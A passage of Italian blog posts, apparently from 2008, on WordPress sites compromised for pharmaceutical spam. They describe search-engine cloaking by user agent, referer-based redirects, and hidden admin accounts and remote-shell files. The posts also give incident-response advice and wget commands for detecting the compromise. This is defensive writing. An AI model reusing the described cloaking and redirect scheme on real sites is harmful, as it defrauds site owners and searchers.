persone dotate di specifiche conoscenze e non una ricetta passo passo, quindi non è assolutamente fruibile per gli utenti “fai-da-te”. Nessuna connotazione dispregiativa in questo, ma se non si possiedono alcune competenze specifiche è del tutto inutile leggere un simile documento.

Come uscirne

Una procedura a grandi linee l’ho descritta qui. Occorre tenere presente che il metodo di attacco cambia continuamente, e chi ha sviluppato il kit del perfetto devastatore di blog non è un cretino qualsiasi: è una persona con competenze molto al di sopra della media degli sviluppatori web, ed in generale anche alla media degli sviluppatori in generale. Sia il test che la procedura per ora dovrebbero funzionare su tutte le varianti, anche sulle più recenti. La procedura è generica, nel senso che segue le linee guida delle normali operazioni da fare quando si ha a che fare con un server violato, ossia parte dal presupposto che niente sul quel server è più affidabile, anche i comandi più semplici. Quindi dovrebbe continuare ad essere utilizzabile anche se lo schema di infezione dovesse cambiare totalmente.
Quello che forse potrebbe smettere di funzionare è il test, a causa di quanto detto sopra. Inoltre c’è il problema che per me è sempre più difficile reperire codice infettato, ossia il contenuto dei blog colpiti, sia come file che come dump del database.
Naturalmente nelle mail che ho inviato a molti c’era la richiesta, ma i più la ignorano. Questo sta togliendo a tutti noi un’arma potentissima: il codice stesso dell’infezione, quindi la possibilità di esaminare come opera e quali sono i suoi punti deboli. Senza quel codice non si può fare nulla.

Temi ed equivoci

Qualche settimana fa il test che ho attrezzato ha avuto un minimo di risonanza in Rete, ma con un problema: è stato scambiato per un test volto ad appurare se il tema è “infetto”. Il problema dei temi troianizzati è in realtà molto differente, e riguarda un altro aspetto della sicurezza di WordPress. Ho scritto un altro articolo in proposito qui. Per ora il tutto si limita ad un modo per iniettare pochi link di spam, una decina al massimo, nel footer del blog, ed in più a proteggere il tema dalle modifiche, inserendo codice offuscato e ricodificato nel file footer.php.
Ma… c’è un grosso ma. Se dovesse succedere che l’attacco in corso esaurisse la sua efficacia, niente ci può garantire che il prossimo veicolo di infezione siano proprio i temi scaricati ed installati senza verificarne la provenienza. Il metodo è semplicissimo da applicare: una volta che abbiamo inserito un file PHP nel nostro sito senza appurare cosa faccia, per chi ha nascosto codice malevolo nel tema è un gioco da ragazzi violare il nostro blog.
Quindi, chiarito che il mio test NON può verificare se il tema installato in un blog è “infetto” o troianizzato, l’unica possibilità è di installare solo i temi di cui possiamo verificarne la provenienza o quelli di cui possiamo controllare agevolmente il codice. La semplice presenza di stringhe codificate in Base64 ed eseguite con una istruzione eval() è un segno molto poco rassicurante. Ma il mio test non può controllare questo. E’ impossibile. E’ vero però che l’infezione rilevata dal mio test è infinitamente più pericolosa.

Conclusione

Come ho già spiegato qualche tempo fa, non è facile fare il webmaster. Le conoscenze necessarie sono tante e in ogni caso potremmo non avere quelle giuste per fronteggiare una situazione come questa che stiamo affrontando.
Se poi ci si mette la faciloneria e la leggerezza nel fare le cose, il rischio di rimanere scottati è molto alto. Per carità, nessuno vuole impedire alle persone di esprimersi liberamente, se però siamo a corto di competenze, e solo perché non è il nostro campo, ci sono validissime alternative a fare il blogger fai-da-te, basta riconoscere con un po’ d’umiltà che forse è al di là delle nostre capacità. Blogspot, Splinder, WordPress.com e tanti altri sono a disposizione per chi vuole concentrarsi su quello che ha da dire, invece di trovarsi invischiato in grossi guai. Questa è la mia opinione. Poi ognuno è libero e consapevole delle sue scelte, quindi niente da dire se si preferisce un hosting e la scelta di fare da sé. Solo che Internet è un luogo ostile.

Per cui occhi aperti e Trust no one.

Tags: , , ,

Come agire se il proprio sito/blog viene compromesso

Apr 22

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Negli ultimi giorni ho avuto a che fare con un attacco combinato di spammer che, sfruttando falle in WordPress o nella configurazione del server ospitante il blog, beneficiano del Pagerank dei blog colpiti per apparire nelle prime pagine dei risultati di ricerca.

A parte questo mi sono trovato nella situazione al limite del ridicolo in cui i gestori o proprietari dei blog ignorano i miei messaggi, o peggio mi rispondono che per loro è tutto a posto. Uno mi ha detto addirittura che il problema l’ha risolto settimane fa.

Il codice malevolo inserito nei blog è congegnato in modo da nascondersi a chi è visitatore abituale del blog. Quindi il proprietario ed i suoi amici e frequentatori non notano niente di strano. E se trovano strani link in ricerche su Google, quando li seguono non accade nulla, ma questa è un’altra storia. Ho avvertito tutti, qualcuno anche più volte, ho scritto al team di WordPress ed a Google. Staremo a vedere.

Ma la cosa che mi è saltata agli occhi è la mancanza di regole da seguire nel malaugurato caso che il proprio blog, o il proprio sito, venga compromesso da qualcuno che riesce a sfruttare un bug o un errore di configurazione.

Se l’intruso ha sfruttato la falla per motivi poco etici ma, per fortuna si è limitato a fare spam, come in questo caso, possiamo soprassedere e limitarci alle regole che seguono poco sotto. Se invece abbiamo il dubbio che possano essere stati commessi reati più gravi, non esitiamo a contattare le Forze dell’Ordine, senza toccare nulla. E’ fondamentale che le prove restino al loro posto. Qualsiasi intervento da parte nostra potrebbe cancellare indizi importanti per risalire al responsabile.

E’ un attimo, trovarsi coinvolti in indagini per truffa o peggio, senza averne colpa alcuna se non quella di usare un software vulnerabile e cadere vittima di un predone.

Se invece le cose sono meno gravi, come appunto in questo caso, possiamo seguire alcune semplici regole, mutuate dall’Informatica Forense:

  1. Non cancellare il codice del sito. Sia esso in PHP, ASP o altro, se ne deve fare un backup completo, usando ftp o un altro metodo, includendo eventuali temi, plugin o estensioni. Se l’intruso è riuscito a modificare il codice, il poter vedere quali siano le modifiche e gli eventuali file creati al momento dell’attacco è di grandissimo aiuto nel trovare il punto di ingresso, ed eventualmente turare una falla.
  2. Se il sito ha un’area di upload, salvarne tutto il contenuto. L’intruso potrebbe essere riuscito a infilare qualcosa in mezzo agli altri file, ed averlo usato per l’attacco.
  3. Se si ha accesso ai log del web server, salvarne una copia, possibilmente a partire dal giorno in cui potrebbe essere successo il fatto. Per questo ci può aiutare la data sui file modificati dall’intruso nel sito. Alcune vulnerabilità vengono sfruttate usando particolari URL, forgiati in modo da attivare un bug nel codice. Avere a disposizione i log del web server aiuta ad identificare la forma usata nell’URL per iniettare il codice dannoso.
  4. Se il sito usa un database, farne un backup, o un dump completo. Alcune intrusioni iniettano dati nell’archivio, o aggiungono tabelle al database. Averne una copia è un aiuto preziosissimo, sempre allo scopo di individuare il punto d’ingresso.
  5. Nel caso, raro in verità, in cui il server sia “in casa”, la cosa migliore sarebbe una immagine del disco bit a bit, una pratica da fare con strumenti tipici dell’Informatica Forense, ma questo richiede competenze specifiche.

La pratica comune è di reinstallare, o fare un upgrade. Questo va bene, ma in ogni caso conviene prima salvare tutto il materiale utile alle indagini, poi si procede ad una installazione pulita.

Non basta il solo aggiornamento del software: se l’intruso ha inserito codice nelle tabelle del database, fra i file di supporto o gli upload, questo verrà ereditato dal software aggiornato, vanificando l’operazione.

Tags: , , ,

WordPress + Pagerank + Spammer = PANIC!

Apr 18

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | Disattiva commenti

NB: articolo modificato dopo la pubblicazione
Ci sono nuovi dettagli, vedi in fondo

Tutto inizia da un post di Maxime: questo. La catena di link mi ha portato qui, dove ci sono alcune particolari query per Google.

Per curiosità ne ho provata una, ed il risultato mi ha portato in modalità Allarme Rosso. Parto con i risultati dell’indagine, i dettagli li metto dopo.

Se avete WordPress, una qualsiasi versione, forse anche la 2.5 è vulnerabile, controllate attentamente il server su cui è ospitato per la presenza di file strani, di modifiche al codice stesso di WordPress ed al database. Non sembra essere questo problema l’origine, ma non ho dettagli a sufficienza per escluderlo del tutto.

L’attacco è compiuto in questo modo:

  • un blog viene compromesso, e viene installato o modificato qualcosa che reagisce in modo differente secondo due parametri del visitatore: il referer e lo user agent
  • Quando un visitatore raggiunge il sito viene controllato lo user agent: se è lo spider di un motore di ricerca la pagina visitata viene riempita di link di questo tipo: 
    
<a href="http://altroblog/?item=135" title="Buy Biaxin">Buy Biaxin</a>

    dove altroblog è il l’URL di un altro blog, appunto, oppure lo stesso URL del blog visitato. La stringa di query codificata nell’url può variare ed essere una di queste:

    
?google-approved=numero
?coupon_number=numero
?item=numero
?order_id=numero
?certified=numero
?pharma-certified=numero

    Ce ne sono probabilmente anche altre varianti, ma tutte contengono nomi di medicinali all’interno della parte testuale del tag <a>.
    Il risultato è che il sito compromesso, che probabilmente ha un buon pagerank, punta ad un altro sito con pagerank anch’esso buono. La conseguenza è che in una ricerca ad esempio su Google con parole chiave indicanti farmaci, questi siti compariranno fra i primi restituiti.

  • Qui entra la seconda fase dell’attacco: chi, cercando farmaci, clicca su uno di questi risultati in teoria dovrebbe finire sul blog, che in realtà non contiene niente del genere. Verosimilmente, il codice malevolo presente nel blog esamina il referer e se è un motore di ricerca viene risposto con un particolare header HTTP, il 302, con un link diretto al sito di farmaci online, ed il browser viene rediretto sul sito della farmacia.
  • Se un regolare visitatore del blog, e quindi anche il proprietario, visita direttamente il blog o segue uno dei link trovati nel motore di ricerca con il nome del farmaco, il blog appare integro e senza cose strane. Il trucco è nel controllo di presenza di un cookie di sessione che ogni blog WordPress inserisce nel browser di tutti i visitatori: se il cookie c’è, il sito appare normale, e il redirect è disattivato. Se si cancella il cookie e si clicca su uno dei link restituiti da Google nella ricerca di farmaci, il redirect avviene immediatamente.

In sostanza, si sfrutta il pagerank dei blog per avere più contatti al sito di farmaci online. Ma potrebbe non essere l’unico sfruttamento possibile, quindi evitate di giocare con browser vulnerabili.

Come diagnosticare il problema

Occorre semplicemente l’utility wget, possibilmente su una distribuzione Linux (per stare un po’ più tranquilli, ma non è essenziale).
Il primo test è per verificare la presenza del controllo user agent.

Si preleva la home page fingendo di essere lo spider di Google:


$ wget -U googlebot http://sito.sospetto/ -O spider.html

con questo comando salviamo la homepage del sito nel file spider.html. Il parametro -U googlebot serve a cambiare il nome del nostro user agent.

Di seguito si preleva di nuovo la home page senza presentarci come uno spider di un motore di ricerca noto:


$ wget -U xxf http://sito.sospetto/ -O normale.html

Poi si confrontano i due file. Se il file dello spider è molto più lungo, e presenta la sfilza di link con nomi di farmaci, il sito è compromesso.

Alcuni siti non presentano questo comportamento, ma solo quello del redirect. Per verificarne la presenza simuleremo un utente che arriva cliccando su un link restituito da una ricerca su Google, lo stesso link che viene mostrato associato ai singoli farmaci nel test precedente. Ad esempio, se il link mostrato è:



http://sito.vittima/?order_id=88

il comando wget da usare sarà:


wget --referer=http://www.google.it/search?q=cialis http://sito.vittima/?order_id=88 -O redirect.html

In caso di sito compromesso la pagina web scaricata appartiene a tutt’altro sito, a causa del redirect, ben visibile anche nei messaggi di lavoro di wget.

Altro sistema molto semplice per vedere se il proprio blog è stato compromesso è fare una ricerca con Google con questa stringa:
buy valium inurl:miourl
dove miourl è una parte del vostro nome del blog, una parte peculiare, ad esempio io cercherò cose come:
buy valium inurl:ismprofessional
Se i primi link riportati contengono il vostro sito con la formula di query mostrata sopra, oppure nella porzione di contenuto del sito mostrato da Google c’è una sequenza di “buy medicinale buy altromedicinale buy…”, è quasi certo che il sito è stato compromesso.

Altra cosa, un sito compromesso può mostrare tutti e due i comportamenti, ossia il redirect e la presentazione di pagine diverse a seconda dello user agent.

Siti al momento compromessi

Il totale dei siti compromessi che ho personalmente verificato è 18, e presentano uno o tutti e due i comportamenti (pagina forgiata per lo spider e redirect). Non appartengono allo stesso servizio di hosting, quindi escluderei un attacco di massa ad un singolo servizio di hosting.

Avevo pubblicato (stupidamente) la lista, ma l’ho tolta per non ingenerare confusione e non aiutare un eventuale script kiddie a scherzare con le disgrazie altrui. Alcuni sono stati contattati per e-mail o con un commento nel blog, per gli altri è impossibile contattare il proprietario o il responsabile, ed i commenti vengono ignorati.

In tre mi hanno risposto. Uno ha trovato il codice malevolo e lo ha rimosso, un altro mi ha detto che è un vecchio problema e che hanno aggiornato a WordPress 2.5 alcune settimane fa. Peccato che il problema sia ancora presente. Gli ho scritto di nuovo, ma direi che il messaggio è caduto nel vuoto. Il terzo ha corretto un problema, ma il sito ora presenta il comportamento di redirect che prima non aveva, e gli ho notificato l’evoluzione.

Ho anche il sospetto che qualche messaggio sia stato intercettato da filtri antispam troppo zelanti, rivelando così un ulteriore problema: è difficilissimo avvertire qualcuno che stanno usando il suo sito per fare pubblicità al Viagra, senza usare parole come “farmacia”, “pillole”, “medicinale” ed incocciare nei filtri antispam. Insomma sembra una partita al noto gioco Taboo.

In definitiva l’esperienza è deludente. Certo, uno sconosciuto che ti scrive e ti dice che probabilmente il tuo sito è stato violato porta immediatamente a pensare che ci sia qualcosa di poco chiaro sotto. Ma non è che ci siano molte altre strade.

Considerazioni finali

Potrebbe non essere un problema di WordPress, o almeno non solo. Se il vostro hosting non separa l’utente del web server dall’utente con cui scaricate i file nel server, che tradotto significa che il web server ha gli stessi diritti di scrittura nostri sui file di WordPress, potrebbe essere una grossa facilitazione per portare a termine l’attacco.

A quanto pare alcuni siti usano wordpress 2.5, l’ultima versione, quindi potrebbe non essere sufficiente un upgrade.

Fino a quando non avrò a disposizione il codice completo di un sito compromesso non potrò dire altro. Ovviamente il team di WordPress è stato avvertito dal 17 aprile.

Se avete dubbi, non esitate a cercare aiuto. Mi potete contattare usando le modalità indicate nella pagina apposita.

Primi dettagli sull’attacco

Grazie a Jay, abbiamo qualche notizia in più. A seguito di un primo attacco in cui aveva trovato codice Javascript iniettato nella homepage del blog, Jay aveva aggiornato WordPress alla versione 2.5. Questo aveva eliminato l’iniezione di codice, ma il comportamento di redirect era ancora al suo posto, indisturbato, e Jay non se ne era reso conto.

Dopo la mia segnalazione, esaminando meglio il server ha scoperto un file nella directory /tmp/ che era usato come plugin di WordPress, ma non era visibile dal pannello di amministrazione. Solo guardando dentro il database con phpMyAdmin lo aveva notato. A quel punto ha anche scoperto che c’era un account di livello admin chiamato WordPress, anche questo invisibile dal pannello di amministrazione.

Modificando a mano il database il comportamento di redirect è scomparso.

Ha anche trovato altri file PHP piazzati in varie altre directory, che contenevano codice capace di eseguire sia altri script PHP che comandi shell da remoto.

Purtroppo Jay non mi ha mandato i campioni di file iniettati nel server, per cui non ho altri dettagli.

Tags: , , ,